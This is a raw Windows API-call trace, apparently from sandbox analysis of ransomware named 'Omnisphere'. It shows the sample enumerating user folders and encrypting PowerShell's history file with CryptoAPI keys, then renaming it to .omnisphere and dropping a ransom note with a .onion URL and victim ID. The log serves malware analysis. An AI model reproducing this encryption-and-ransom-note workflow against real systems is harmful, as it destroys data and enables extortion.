ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0118.151] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0118.151] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 0 [0118.151] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0118.151] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0118.151] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0118.151] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c55b27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0118.151] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0118.151] GetProcessHeap () returned 0x1600000 [0118.151] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0118.151] GetProcessHeap () returned 0x1600000 [0118.151] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e728 | out: hHeap=0x1600000) returned 1 [0118.151] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="PowerShell", cAlternateFileName="POWERS~1")) returned 1 [0118.151] GetProcessHeap () returned 0x1600000 [0118.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x16337f8 [0118.151] PathCombineW (in: pszDest=0x16337f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="PowerShell" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell" [0118.151] GetProcessHeap () returned 0x1600000 [0118.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x167b870 [0118.151] PathCombineW (in: pszDest=0x167b870, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\*" [0118.151] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0118.153] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0118.153] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0118.153] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0118.153] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0118.153] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0118.153] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0118.153] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0118.153] GetProcessHeap () returned 0x1600000 [0118.153] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656388 [0118.153] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell", pszFile="PSReadline" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline" [0118.153] GetProcessHeap () returned 0x1600000 [0118.153] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0118.153] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\*" [0118.153] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0118.154] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="..", cAlternateFileName="")) returned 1 [0118.154] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xfbc78b59, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x4b, dwReserved0=0x0, dwReserved1=0xc8, cFileName="ConsoleHost_history.txt", cAlternateFileName="CONSOL~1.TXT")) returned 1 [0118.154] GetProcessHeap () returned 0x1600000 [0118.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x16241b0 [0118.154] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", pszFile="ConsoleHost_history.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt" [0118.154] StrStrW (lpFirst=".omnisphere", lpSrch=".txt") returned 0x0 [0118.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\consolehost_history.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0118.155] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=75) returned 1 [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.155] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] GetTickCount () returned 0x115d87a [0118.156] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669230) returned 1 [0118.156] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0118.157] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0118.157] CryptDestroyKey (hKey=0x1639b68) returned 1 [0118.157] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0118.157] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b, lpName=0x0) returned 0x3c0 [0118.157] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b) returned 0x1480000 [0118.157] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0118.158] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0118.158] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0118.158] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0118.158] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0118.158] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0118.158] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0118.158] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0118.158] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0118.158] CryptDestroyKey (hKey=0x1639b68) returned 1 [0118.158] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0118.158] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0118.160] GetProcessHeap () returned 0x1600000 [0118.160] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2de) returned 0x169fc40 [0118.160] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\consolehost_history.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\consolehost_history.txt.omnisphere")) returned 1 [0118.161] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt.omnisphere.id" [0118.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\consolehost_history.txt.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0118.161] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0118.162] CloseHandle (hObject=0x388) returned 1 [0118.163] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.163] CloseHandle (hObject=0x3c0) returned 1 [0118.163] SetEndOfFile (hFile=0x288) returned 1 [0118.163] FlushFileBuffers (hFile=0x288) returned 1 [0118.166] CloseHandle (hObject=0x288) returned 1 [0118.166] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline") returned 1 [0118.166] GetProcessHeap () returned 0x1600000 [0118.166] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169ff28 [0118.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.166] GetProcessHeap () returned 0x1600000 [0118.166] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693ad0 [0118.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693ad0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.166] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.166] GetProcessHeap () returned 0x1600000 [0118.166] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16871a8 [0118.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16871a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.167] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.167] GetProcessHeap () returned 0x1600000 [0118.167] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625b00 [0118.167] PathCombineW (in: pszDest=0x1625b00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\!DECRYPT_OMNISPHERE.txt" [0118.167] GetProcessHeap () returned 0x1600000 [0118.167] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1697db0 [0118.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0118.169] WriteFile (in: hFile=0x288, lpBuffer=0x1697db0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1697db0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0118.170] CloseHandle (hObject=0x288) returned 1 [0118.170] GetProcessHeap () returned 0x1600000 [0118.170] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169ff28 | out: hHeap=0x1600000) returned 1 [0118.170] GetProcessHeap () returned 0x1600000 [0118.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162bd08 [0118.170] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\unique_decrypt.key" [0118.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\powershell\\psreadline\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0118.170] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0118.172] CloseHandle (hObject=0x288) returned 1 [0118.172] GetProcessHeap () returned 0x1600000 [0118.172] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0118.172] GetProcessHeap () returned 0x1600000 [0118.172] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0118.172] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xfbc78b59, ftLastWriteTime.dwHighDateTime=0x1d327c2, 